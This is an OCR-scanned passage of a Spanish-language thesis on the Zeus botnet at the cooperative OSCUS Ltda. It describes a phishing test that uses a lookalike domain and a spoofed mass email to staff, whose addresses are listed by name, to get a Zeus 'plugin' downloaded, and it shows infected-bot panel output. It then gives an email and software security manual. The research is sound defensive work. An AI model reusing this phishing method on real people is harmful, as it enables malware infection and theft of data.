WS folcan  NII0LN L. 064

11 archivesy 4 directasics. Taemaho totsk 89392 bytes

Archrvos en col | Transferences fabdes

Traram e sststciss

G . Colsvacin

.e

Figura 49 Web en Hosting

Elaborado por: Investigador
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6.6.2.19 Configuracién Correo Electronico

Mozilla Thunderbird.

Mozilla Thunderbird es un cliente de correo electronico de la Fundacion Mozilla. Su
objetivo es desarrollar un Mozilla mas liviano y répido mediante la extraccion y
redisefio del gestor de correo del Mozilla oficial. Es multiplataforma, utiliza el
lenguaje de interfaz XUL vy es software libre.

Para enviar los correos electronicos configuré varias cuentas de correo electronicas en
el cliente de correo electronico Mozilla Thunderbird.

iBienvenido a Thunderbird!

Mozilla Thunderbird es todo tuyo - tu
idioma, tus complementos, tu correo
electrénico

Figura 50 Mozilla Thunderbird.

Elaborado por: Investigador

Cuentas Creadas
e info@oscus-coop.com
e admin@oscus-coop.com
e rrhh@oscus-coop.com

e sistemas@oscus-coop.com

Archivo Editar Ver Ir Mensaje Herramientas Ayuda
& Recibir ~ # Redactar W@ Charlar & Direcciones \ @ Etiqueta = | '@, Filtro rapido

@ Filro rapido: * Noleidos # Conestrella & Contacte ® Etiquetas @ Adjunto

t k@ Awunto ®® Remitente © Fecha
@  failure notice MAILER-DAEMON@oproxy6-pub.bluehos... 2013-02-059:24
Bier ‘aa ZeusForo « ZeusForo + 2013-02-0513:34

Re: oscus.coop Novedades - Diego Naranjo - 2013-02-06 9:55
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Figura 51 Cuenta de Correo Electronica Ya configurada

Mail Enviado.

De: admin@oscus-coop.com
Asunto:

Para: rsanchez@oscus.coop, xsilva@oscus.coop, xsilva@oscus.coop,
rllundo@oscus.coop, dnaranjo@oscus.coop, asalas@oscus.coop,
shosquez@oscus.coop, scarrillo@oscus.coop, cvelasquez@oscus.coop,
vguevara@oscus.coop, wsandoval@oscus.coop, slasso@oscus.coop,
ppinuela@oscus.coop, smanobanda@oscus.coop, jiturralde@oscus.coop,
jsegovia@oscus.coop, yzambrano@oscus.coop, imoscoso@0scus.coop,
hcastro@oscus.coop, asanchez@oscus.coop

Cuerpo del Mensaje

ESTIMADO USUARIO VISITE LA PAGINA OFICIAL DE OSCUS LTDA.
Y ENTERESE DE NUESTRAS NUEVAS NOVEDADES

) OSCUS

LU"“DERATIVA DE AHORRO Y CREDIT O LTDA

da por la Superintendencia de Bancos y

CLICK EN LA IMAGEN

Figura 52 Mail Enviado

Elaborado por: Investigador
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Cuando el usuario dé click en la imagen entonces se re direccionara hacia la pagina
web www.oscus-coop.com en ese momento le pedird que se descargue el plugin para

poder instalar el Zeus.

6.6.2.20 Resultados de una las maquinas Infectadas.

Esta infeccién a continuacion mostrada es el resultado de las pruebas que se
realizaron con el envio de correos electronicos, la cooperativa cuenta con un buen
sistema de proteccion viral, ademéas de contar con un buen software antibotnet, los
antivirus que ellos poseen son todos con licencia. Por la naturaleza misma de la
empresa no se pueden mostrar algunos datos, pues ello compromete la seguridad

informatica de la empresa.

Full information about bots

Bot ID:

23575
17.02.2013 06:46:31
17.02.2013 06:46:31

ots: Ye

s
Ho [=]

Botnet: -- default --

Version: 2.0.8.9

OS Version: Seven

05 Languzge: 3082

GMT: <0:00

Country: ——

IPva: L]
1.047

25089

30.01.2013 02:20:352
04.02.2013 02:08:47

Figura 53 Maquinas Infectadas

Como se puede observar de las 15 maquinas de la cooperativa 2 de ellas se infectaron

1 de ellas tiene un sistema operativo XP SP3 y otra con sistema operativo W7.
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Como ya se menciond anteriormente por confidencialidad no se pude revelar méas

informacion que la que se muestra en los graficos anteriores.

6.6.2.21 Herramientas Utilizadas en la Cooperativa de Ahorro y Crédito

Oscus Ltda.

Checkpoint como firewall.

MCAfee(8.8) - Antivirus

Consola EPO MCAfee Version 4.6

DLP MCAfee Version 9.2.100.36.

MCATfee end point encryption Sp2. V.6.2.1.3.15

Checkpoint R75.40

El checkpoint cuenta a su vez con:
Antibotnet

Antispam

Antivirus

URL filtering

Data lost Prevention (DLP)

IPS

Acces Mobile (Acceso con mobiles)

TMG 2010 Spl
(Threat Management Gateway) es un proxy que filtra las urls, web antimalware, solo

tienen acceso a internet Gerentes y Jefes Departamentales.
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6.6.3 Manual de buen uso de Correo Electrénico y actualizaciones de software.
6.6.3.3 Correo Electronico

La proliferacion de virus, mensajes no deseados y cadenas inutiles en las que se
anuncian fantasias, promociones, etc. ha obligado a los usuarios de correo electronico
a volverse cada vez més exigentes y estrictos en cuanto a las normas de uso de este
servicio.

Estas normas o recomendaciones no estan consignadas en un manual de uso
obligatorio, sino que se derivan del sentido comun, la ética, el respeto y la necesidad
de incrementar la productividad.

La aplicacion debe ser mucho mas rigurosa en las empresas, donde el flujo diario de
mensajes sobrepasa los limites de lo imaginado y donde la pérdida de tiempo en la
lectura del correo muchas veces sobrepasa el beneficio de utilizarlo. EI correo es la
Unica herramienta de comunicacion en la que el envio no cuesta nada y quien la
recibe debe tomarse su tiempo en ver, contestar, eliminar dicho mensaje. Si el
mensaje es lo que esperabamos el coste en tiempo habra merecido la pena, si lo
recibido no nos interesa, hemos perdido nuestro tiempo. Basados en estas normas y
en la experiencia del dia a dia, se ha redactado los siguientes pardmetros que deben

tener en cuenta para tener mejores resultados al usar el correo electrénico.

6.6.3.3.1 Nomenclatura de direccion de correo electronico.

La proliferacion de servicios gratuitos (YYahoo, Hotmail, Gmail entre otros) ha hecho
posible que practicamente todas las personas que tienen acceso a Internet posean una
cuenta de correo. Para los usuarios individuales esto estd muy bien. Sin embargo, las
empresas deberian tener un buzdn interno con un dominio con su razon social. Por lo
que una buena practica podria ser utilizar el primer nombre o su inicial seguido por el
primer apellido y el dominio que identifica a su empresa, de esta manera ayudamos a

guardar el correo de manera ordenada.
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6.6.3.3.2 El asunto (subject) es vital.

El asunto del mensaje (el espacio en el que usted le dice a su destinatario el motivo de
la comunicacion) es como el titular de una noticia o como el titulo de un libro. Del
impacto que este tenga, depende el interés que genere. Sin embargo, muchas personas
creen que este es directamente proporcional a la cantidad y rimbombancia de los
adjetivos que contenga. Pero no. El asunto debe ser un resumen concreto y directo del

contenido global del mensaje.

6.6.3.3.3 El contenido es clave.

Si el asunto del mensaje debe ser ‘corto y sustancioso', el texto central no debe serlo
menos. Una persona ocupada agradecera que usted le diga lo que tiene que decir en la
menor cantidad de palabras posible. No se trata de usar lenguaje telegrafico, sino de ir

directo al grano. Verificar la ortografia y la gramatica.

6.6.3.3.4 Sobre los archivos adjuntos (attachment).

Muchos usuarios de correo electronico han optado por evitar sistematicamente los
archivos adjuntos en los mensajes, para evitar programas malignos que pueden dafiar
su informacion o sus equipos. Salvo que sea estrictamente necesario, no los envie. Si
quiere incluir un archivo de texto, es una mejor idea pegar su contenido en el cuerpo
del mensaje que enviarlo como documento adjunto. Si es una imagen o una hoja de
calculo, héagaselo saber al receptor. Algunas personas y entidades tienen la mala
costumbre de enviar mensajes con archivos anexos, sin un texto que le permita al
destinatario saber de qué se trata. Cualquiera podria pensar que es un virus y
eliminarlo sin abrirlo. El envio de correos con ficheros adjuntos es comodo y sencillo,
pero el correo no es la mejor herramienta para hacerlo, sobre todo cuando se trata de
ficheros grandes ya que un Mega de fichero enviado por correo equivale a 3 megas de
transito por la red. (la mejor herramienta de envio de ficheros es el FTP 1 Mb

equivale a1 Mb.)
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- Se debe tener en cuenta el tamafo de los archivos, y comprimirlos siempre
que sea posible (ver anexo).

- Al enviar un archivo adjunto, indicaremos en el mensaje el contenido de
dicho archivo con el fin de evitar que el destinatario pueda pensar que es

un virus.

6.6.3.3.5 Identificarse correctamente.

Siempre se debe poner la firma al final de los mensajes de correo electronico. Se trata
de un texto que le permita al destinatario saber quién es usted, para quién trabaja y
coémo puede localizarlo. La firma de un mensaje usualmente estd compuesta por el
nombre del remitente, la empresa a la que representa y la informacién de contacto
(correo electronico, teléfonos, fax, sitio web). Incluya que el mensaje es personal y
que si lo recibe alguien que no es el destinatario que le debe avisar. Para la ley de
proteccion de datos se debe incluir ademas la coletilla de que “si usted no desea
recibir mas correos de este remite, debe comunicarlo a esta direccion de correo.

Las firmas electronicas deben ser lo mas esquematicas posible, sin incluir imagenes o

informacion innecesaria.

6.6.3.3.6 Recepcion de mensajes.

No abrir mensajes no esperados que contengan archivos adjuntos, aunque provengan
de personas conocidas. Podria tratarse de un virus. Es recomendable desactivar la
funcion de “vista previa” en clientes de correo como Outlook para evitar la intrusion

de virus.

6.6.3.3.7 Estilos.
No emplee estilos con fondos de mensaje ya que recargan el correo y pueden
provocar problemas en el destinatario. Limite el uso de mensajes en formato HTML y

los adornos innecesarios.
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6.6.3.3.8 Correo no solicitado.
Debe evitarse el reenvio de correo no solicitado (cadenas de mensajes, rumores,

publicidad, etc.).

6.6.3.3.9 Direccion de correo.
Se debe proporcionar la direccion de correo con moderacién. Utilizar otra cuenta (una
gratuita, por ejemplo) para el registro en paginas web, ya que podrian enviar

publicidad no deseada.

6.6.3.3.10 Multiples destinatarios.

Envie maultiples copias del mismo mensaje solamente a las personas que realmente
puedan estar interesadas en recibirlas. Igualmente, si recibe un mensaje en el que hay
mas destinatarios, tenga cuidado de responderlo solamente a la persona o a las
personas interesadas. Cuando envie un mensaje a varias personas que no se conocen
entre ellas, escriba las direcciones en el campo Con Copia Oculta (CCO o BCC copia
oculta). Seguramente, algunas de ellas no querran que su direccion llegue a todas las
personas que usted escogio como destinatarios de su mensaje. ES muy comdn
enviarlo a nuestra propia direccion y como CCO y sobre todo si es una respuesta para
enviar a varios destinatarios con el mensaje original, eliminar lo innecesario y
eliminar siempre los correos de terceras personas que no debemos desvelar, excepto
que sea necesario para que quien lo recibe sepa de quien se trata y borrar aquellas

partes del texto que no interesan al destinatario nuevo.

6.6.3.3.11 Correo personal.
Para asuntos personales, emplee otra cuenta de correo electrénico (puede obtener una
cuenta gratuita en multitud de sitios web con este fin) para reducir el volumen de

correo de su buzon.
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6.6.3.3.12 BuzOn de correo.

El tamafio de su buzon de correo es limitado. Elimine mensajes (descargue los
adjuntos e imprima el contenido del mensaje si lo necesita) y vacie la papelera
siempre que sea posible.

Se recomienda a los administradores del area de informatica poner un limite de
recepcion de correo electronico, limitar el tamafio del buzdn en el panel de control

web o en el caso de tenerlo de su servidor de correo electrénico.

6.6.3.3.13 No utilizar siempre mayusculas.
No es recomendable escribir todo el mensaje en mayusculas. Es cansado para la vista

e implica estar gritando.

6.6.3.3.14 Spam (Correo basura)
El correo electrénico no solicitado (correo basura o spam) es cualquier mensaje que
se envia de forma masiva e indiscriminada. Generalmente tienen un contenido

publicitario o comercial en el que nos ofrecen gangas, farmacos, negocios, etc.

El gran aumento que el correo basura esta experimentando en todo el mundo ha
disparado las alarmas. Una actividad que, afios atras, apenas tenia incidencia y que,
ahora, se esta convirtiendo en un problema que produce un impacto nefasto en lineas
de comunicaciones, servidores y buzones de correo; hasta el punto de que esta
alterando el uso diario del correo electrénico.

La prevencion es indispensable.
Las personas dedicadas a este tipo de abusos (spammers) recolectan direcciones en
paginas web, grupos de discusion, correos encadenados, etc...Su objetivo es enviar

el mayor nimero de mensajes, esperando que alguien se interese.

98



Hay varios frentes en los que combatirlo, pero quizds el mas efectivo es la
prevencion. El usuario tiene que intentar evitar que capturen su direccion de correo.

Reglas basicas para evitar la captura de la direccion

¢ No haga publica su direccién de correo en foros, chats, grupos de noticias, etc.

e Oculte su direccion en paginas web.

e Ignore el contenido de mensajes en los que se apela a su caridad, se le avisa de
peligrosos virus o se le indica que los reenvie a otras personas (correos
encadenados).

¢ No conteste a mensajes de correo basura ni abra las paginas web en le que
invitan a conseguir méas informacion o a borrarle de su lista de clientes; con
esto sdlo se consigue confirmar la existencia de la direccion.

e Lea las politicas de uso de los sitios web a los que proporciona su direccion.

6.6.3.3.15 Ficheros adjuntos.
Porque pueden contener virus o su contenido nos puede hacer perder un tiempo

valioso.

6.6.3.3.16 No responder a ningun correo.

Para darse de baja de una lista si no esta seguro que se trata de una empresa seria, l0s
buscadores de direcciones de correo para envio de spam, cuando reciben para darte de
baja de una lista, te incluyen en 1000 listas mas, acabas de confirmarles que tu
direccion es correcta y se esta dispuesto a leer los correos.

6.6.3.3.17 Consideraciones.
Ademas de todas estas consideraciones, se debe tener cuidado con facilitar claves a

supuestos correos como los de los timadores de bancos, que con nombres de
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dominios similares a los de los bancos que estamos acostumbrados a recibir. No
poner nuestras claves en ningn momento en peticiones por creibles que sean.
- No olvidemos que el correo es un medio muy vulnerable y que podemos
recibir correos que el que los envia lo hace con nuestra misma direccion
de correo, por lo que ESTEMOS SIEMPRE ALERTA y antes de hacer
algo verificar bien la direccion.
- No acose a sus destinatarios. Aunque el correo electrénico es un medio
inmediato, no siempre se puede pretender que la respuesta también lo sea
y evitemos los envios no necesarios porque el destinatario nos puede

inscribir en listas ANTISPAM de las que es dificil salir.

Compresion de archivos.

La compresion de archivos se emplea para reducir el tamafio de los mismos,
disminuyendo asi el tiempo de transferencia y descarga en el destino. Se utiliza
también para reunir varios archivos en uno sélo, consiguiendo de esta forma facilitar
la descarga al destinatario (y la tarea de adjuntar archivos en el envio).

Los archivos comprimidos pueden tener extensiones como .zip y .rar (para
Windows), .tar (UNIX), .sit (Mac), etc. Para descomprimir un archivo con extension
.Zip, se requiere un programa como WinZip o PKUnzip, .rar con winrar, los cuales se
pueden conseguir con facilidad en internet. Para descomprimir un archivo .sit, se
necesita un programa denominado Stuffit Expander. Para descomprimir un archivo
tar, se necesita un programa denominado Tar (en un Mac. WinZip permite ver y
extraer estos archivos en Windows). Los archivos con extension .exe y .sea son

autoextraibles, (no requieren programas adicionales para funcionar).

6.6.3.4 Software
En cuanto a actualizaciones de software lo utilizado en la cooperativa es: como
sistema Operativo Windows por ello las siguientes recomendaciones para prevenir las

intrusiones virales.
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6.6.3.4.1 Mantenga su equipo actualizado.
Microsoft publica actualizaciones de seguridad que pueden ayudar a proteger su
equipo. Asegurese de que Windows recibe estas actualizaciones activando la

actualizacién automatica de Windows.

WSUS

Microsoft Windows Server Update Services (WSUS) permite a los administradores
de las tecnologias de la informacion implementar las actualizaciones mas recientes de
los productos de Microsoft en los equipos con sistemas operativos Windows.
Mediante  WSUS, los administradores pueden administrar completamente la
distribucion de las actualizaciones lanzadas al mercado a través de Microsoft Update

a los equipos de la red.

6.6.3.4.2 Use un firewall. El Firewall de Windows (o cualquier otro firewall)
Puede ayudar a alertar acerca de actividades sospechosas si un virus o un gusano
intentan conectarse al equipo. También pueden bloquear virus, gusanos y piratas

informaticos si intentan descargar programas potencialmente peligrosos en el equipo.

6.6.3.4.3 Use la configuracién de privacidad del explorador.

Saber como los sitios web pueden usar su informacién privada es importante para
ayudar a prevenir el fraude y el robo de identidad. Si estad usando Internet Explorer,
puede ajustar su configuracion de privacidad o restaurar la configuracion

predeterminada cuando lo desee.

6.6.3.4.4 Use un bloqueador de elementos emergentes con su explorador.

Las ventanas emergentes son ventanas pequefias del explorador que aparecen en la
parte superior del sitio web que estd visualizando. A pesar de que la mayoria es
creada por anunciantes, también pueden contener un cddigo malintencionado o
inseguro. Un bloqueador de elementos emergentes puede evitar que aparezcan

algunas o todas estas ventanas.
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6.6.3.4.5 Activar el Control de cuentas de usuario (UAC).

UAC(Control de cuentas de usuario). Cuando se van a realizar cambios en su equipo
que requieren permiso de nivel de administrador, UAC le notifica y le da la
oportunidad de aprobar el cambio. UAC puede ayudar a evitar que los virus realicen
cambios no deseados. Para obtener mas informacion acerca de como activar el UAC

y ajustar la configuracién.

6.6.3.4.6 Utilice software antivirus actualizado en el equipo.

Uno de los mayores problemas al usar el sistema operativo Windows es la enorme
cantidad de virus que existen para el sistema operativo. Para minimizar el riesgo de
infectar la maquina con cualquiera de ellos, ss recomendable actualizar el antivirus
siempre. Con esto se mantendra la pc libre de posibles ataques y asi evitar tener que

volver a instalar el sistema operativo.

McAfee EPO

El McAfee ePO ofrece una consola basada en la Web que se puede acceder desde
cualquier computadora eliminando la necesidad de instalar el software en varios
equipos. Debido a que McAfee ePO esté basado en la Web, el tablero de instrumentos
se abre en un navegador, los informes se crean y son de facil acceso y los usuarios
pueden personalizar el tablero de instrumentos segun las necesidades. La
administracion de sistemas es mas facil, ya que McAfee ePO mejora la usabilidad de
los directorios a través de la sincronizaciéon. Automatiza y crea informes accionables,
asi como exporta a los formatos requeridos para la distribucion y la facilidad de
acceso. McAfee ePO facilita la actualizacion de las politicas de seguridad y esta en

contacto con los cambios de seguridad en curso.
Dado que las licencias de los antivirus son costosas, en muchas ocasiones optamos

por recurrir a solucione poco ortodoxas. Para que funcionen correctamente, los

antivirus deben estar actualizados, lo cual hacen por medio de Internet.
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Existen excelentes antivirus gratuitos que lo Gnico que exigen es un registro (también
gratuito). En ocasiones, pueden mostrar publicidad para recordarnos que hay que

adquirir la version de pago. Entre los mas populares y con mejor valoracién estan:

* AVAST Antivirus
* AVIRA Antivirus
* AVG Antivirus

Para que un antivirus funcione correctamente debe estar actualizado. Muchos de los
antivirus gratuitos méas populares disponen de una seccion de actualizaciones
instalables que nos permiten descargar la actualizacion para instalarla posteriormente
en una méaquina que no disponga de conexion a Internet.

Nota: Lo recomendable para empresas con un alto grado de confidencialidad de
informacion es que el antivirus cuente con licencia original, es decir que el antivirus
debe ser de pago, de esta manera nos aseguraremos de tener nuestra informacién

protegida y libre de virus.

6.6.3.4.7 Utilice software antispyware actualizado en el equipo.

El antispyware es una tecnologia de seguridad que ayuda a proteger a un equipo
contra spyware y otro software potencialmente no deseado. Este software ayuda a
reducir los efectos causados por el spyware incluyendo el lento desempefio del
equipo, ventanas de mensajes emergentes, cambios no deseados en configuraciones
de Internet y uso no autorizado de la informacion privada. Permite a los usuarios
protegerse contra los programas cuya intencion es rastrear la informacion sobre
habitos de consumo y navegacion, o peor aun, obtener contrasefias y otros datos

sensibles.
Sintomas de que una computadora esté infectado por *'spyware"":

Se abren continuamente ventanas emergentes mientras te encuentras en Internet.

Se te dirige a sitios web que no indicaste.
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Aparecen barras de herramientas sin que tU lo hayas especificado.

Sin aviso, se cambia la pagina de inicio del explorador.

Consideraciones generales para la eleccion de un software antispyware.
Al momento de seleccionar un antispyware, es necesario tomar en cuenta que cuente
con algun reconocimiento por parte de algin laboratorio de investigacion. Ademas

debe de incluir las siguientes caracteristicas generales:

1. Bloqueo en tiempo real y monitoreo antes de que el spyware se
descargue o instale. Es mucho mas facil prevenir que el spyware se
instale, en lugar de realizar una limpieza a un sistema afectado.

2. Actualizaciones automaticas de firmas de spyware. Es importante
cerciorarse de que el antispyware esté actualizado. Algunas de las
herramientas gratis requieren de actualizaciones manuales.

3. Busqueda automatica que permita fijar el dia y hora para las
exploraciones automaticas. Alternativamente, puede indicar al
software la fecha para ejecutar exploraciones en su computadora.

4. Capacidad para poder restaurar o revertir, en caso de que algin
componente de una aplicacion sea borrado inadvertidamente. Con esta
caracteristica, los componentes pueden ser restaurados de la
cuarentena para que la aplicacion funcione nuevamente.

5. Descripcion del nivel de amenaza y andlisis del estado de la maquina
en la interfaz. Permite al usuario tomar buenas decisiones acerca de
qué componentes debe de ignorar, colocar en cuarentena o eliminar.

6. Informacion, como ayuda en linea, foros, correo electrénico de apoyo
y soporte telefénico. Contar con informacion en diferentes medios
para consultas acerca del antispyware.

Nota: De igual manera que con los antivirus la mejor manera de mantener nuestra pc

segura es contar con un antispyware con licencia o de pago.
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CAPITULO VII

7. CONCLUSIONES Y RECOMENDACIONES.
7.1 CONCLUSIONES.

Se concluye que la botnet Zeus permite obtener informacién confidencial de los
ordenadores de la Cooperativa de Ahorro y Crédito “OSCUS” Ltda.

Los usuarios de la Cooperativa de Ahorro y Crédito “OSCUS” Ltda. estan
propensos a abrir cualquier tipo de correo electronico y abrirlos sin verificar el
remitente lo que puede conllevar a infecciones virales.

El manual de buen uso de correo electronico permitiria educar tecnoldgicamente a
las personas a un mejor uso del correo electronico y navegacion por la Web,
debido a que en el manual se muestra indicaciones que deben seguir tanto la
Institucion financiera en la actualizacion de software como a los usuarios en el
buen manejo de correo electronico.

Las botnets son muy eficaces al momento de infiltrarse en los computadores y
obtener informacidn sin embargo las la herramientas de seguridad informatica que
estan implementadas en la Cooperativa de Ahorro y Crédito “OSCUS” Ltda
proveen un buen sistema de defensa en contra de tan amenazables medios de
propagacién de malware.

Para la propagacion de la botnet Zeus fue necesario encriptarla para poder

distribuirla a través de la web si ser detectada.
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7.1 RECOMENDACIONES.

Se recomienda a la Cooperativa de Ahorro y Crédito “OSCUS” adoptar medidas
de seguridad para prevenir el robo de informacion por medio de las botnets, las
cuales se indican en el manual de buen uso de correo electrénico y actualizacion
de software.

Es necesario que la Cooperativa de Ahorro y Crédito “OSCUS” Ltda. brinde
capacitaciones a los usuarios internos para que de esta manera los mismos tengan
conocimiento acerca de las amenazas virales que se presentan a diario en los
correos electronicos, paginas web, sitios fraudulentos y que medidas de seguridad
que deben tomar si se encuentran con alguno de los casos anteriormente
mencionados.

La Cooperativa de Ahorro y Crédito “OSCUS” Ltda. Debera brindar todas las
medidas de seguridad a sus usuarios internos, para que de esta manera puedan
tener una navegacion web segura y adecuado uso de correo electronico.

Se recomienda las constantes actualizaciones de antivirus, antispam, proxy, ips
para evita las infiltraciones de botnets.

El personal de Sistemas deberia consultar periddicamente nuevas definiciones de
virus y minimizar las infiltraciones en los computadores de los usuarios de la
Cooperativa de Ahorro y Crédito “OSCUS” Ltda.
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GLOSARIO DE TERMINOS
Antivirus.

Son programas cuyo objetivo es detectar y/o eliminar virus informaticos.
Botnet.
Es un término que hace referencia a un conjunto de robots informaticos o bots, que se

ejecutan de manera autbnoma y automatica.

Crimeware.

Es un tipo de software que ha sido especificamente disefiado para la ejecucién de
delitos financieros en entornos en linea. EIl término fue creado por Peter Cassidy,
Secretario General del Anti-Phishing Working Group para diferenciarlo de otros tipos

de software malicioso.

Dominio.
Es la parte principal de una direccion en la web que indica la organizacion o

compafiia que administra dicha pagina.

Encriptar.

Tradicionalmente se ha definido como la parte de la criptologia que se ocupa de las
técnicas, bien sea aplicadas al arte o la ciencia, que alteran las representaciones
lingliisticas de mensajes, mediante técnicas de cifrado y/o codificado, para hacerlos

ininteligibles a intrusos (lectores no autorizados) que intercepten esos mensajes.

FTP.

(Siglas en inglés de File Transfer Protocol, 'Protocolo de Transferencia de Archivos’)
en informatica, es un protocolo de red para la transferencia de archivos entre sistemas
conectados a una red TCP (Transmission Control Protocol), basado en la arquitectura

cliente-servidor. Desde un equipo cliente se puede conectar a un servidor para



descargar archivos desde él o para enviarle archivos, independientemente del sistema
operativo utilizado en cada equipo.

Hosting.

El alojamiento web (en inglés web hosting) es el servicio que provee a los usuarios de
Internet un sistema para poder almacenar informacion, imégenes, video, o cualquier

contenido accesible via web.

IP V4.

El nimero que identifica a cada dispositivo dentro de una red con protocolo IP

Malware
También llamado badware, codigo maligno, software malicioso o software
malintencionado, es un tipo de software que tiene como objetivo infiltrarse o dafiar

una computadora o Sistema de informacién sin el consentimiento de su propietario.

Phishing.

"Phishing” (pronunciado como "fishing”, "pescar"” en inglés) se refiere a
comunicaciones fraudulentas disefiadas para inducir a los consumidores a divulgar
informacién personal, financiera o sobre su cuenta, incluyendo nombre de usuario y

contrasefia, informaciéon sobre tarjetas de crédito, entre otros.

Plugin. Es una aplicacion que se relaciona con otra para aportarle una funcion nueva
y generalmente muy especifica. Esta aplicacion adicional es ejecutada por la

aplicacion principal e interactian por medio de la API.

Spam.

Correo basura, cominmente con ofertas o correo dafiino.

TCP.

Transmission Control Protocol. Protocolo de control de Transmisién. Uno de los

protocolos mas usados en Internet. Es un protocolo de Transport Layer.



TCP/IP.

Sistema de protocolos, definidos en RFC 793, en los que se basa buena parte de
Internet. EIl primero se encarga de dividir la informacion en paquetes en origen, para
luego recomponerla en destino, mientras que el segundo se responsabiliza de dirigirla

adecuadamente a través de la red.

Virus
Programa que se duplica a si mismo en un sistema informatico incorporandose a otros

programas que son utilizados por varios sistemas.

Zeus.

Toolkit ZeuS es un software que permite crear un rebafio de equipos zombies para
realizar ataques masivos, robar credenciales de redes sociales, robar cuentas de correo
electronico y en éste caso especifico el robo de informacidn de usuarios de la banca

electrénica
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ANEXOS.



ANEXO 1
Encuesta/Entrevista

MODELO DE ENCUESTA.
UNIVERSIDAD TECNICA DE AMBATO.
FACULTAD DE INGENIERIA EN SISTEMAS ELECTRONICA E
INDUSTRIAL.
LUGAR A ENCUESTAR: Cooperativa de Ahorro y Crédito “OSCUS” Ltda.
OBJETIVO DE LA ENCUESTA:
Sefiores, su veracidad en las respuestas permitira al grupo investigador desarrollar un
trabajo real y efectivo.

Agradecemos su colaboracién y garantizamos absoluta reserva de su informacion.

Fecha de Aplicacion:
1. ;Sabe usted lo que es una Botnet?
1.1Si() 1.2No()
2. ¢(Ha notado que sea infectado su PC con virus?
2.1Si() 2.2No()
3. ¢Qué Antivirus utiliza ud?
3.1 Avast() 3.2 Nod32() 3.3 Avg() 3.4 Kaspersky() 3.5 Otros()
4. ;Desearia cambiar su Antivirus Actual?
4.1Si() 4.2No()
5. ¢El Antivirus que usa actualmente es original?
5.1Si() 5.2No() 5.3Nose
6. ¢Ha recibido correos sospechosos, y en caso de recibirlos los ha abierto?
6.1Si() 6.2No ()
7. Qué Navegador Utiliza?
7.1 Mozilla Firefox() 7.2 Google Chrome() 7.3 Internet Explorer() 7.4
Otros()
8. Que Servidor de Correo Electronico utiliza?



8.1 Gmail() 8.2 Hotmail() 8.3 Yahoo() 8.4 Outlook() 8.5 otros ()

9.- ¢En qué grado supone usted que son los dafios que provocan los virus?

9.1 Muy Alto() 9.2 Alto() 9.3Medio() 9.4 Bajo()
10) ¢Piensa usted que la gente esta lo suficientemente informada acerca de este tema
(Botnets)?

10.1Si () 10.2 No ()
11) ¢Cree usted que es importante implementar un manual de buen uso de Correo
Electronico y actualizaciones de software para evitar robo de informacién?

11.1Si () 11.2 No ()
12) ¢Considera Usted que la informacion de su computador estad segura contra los
delitos informaticos?

12.1Si () 12.2No ()



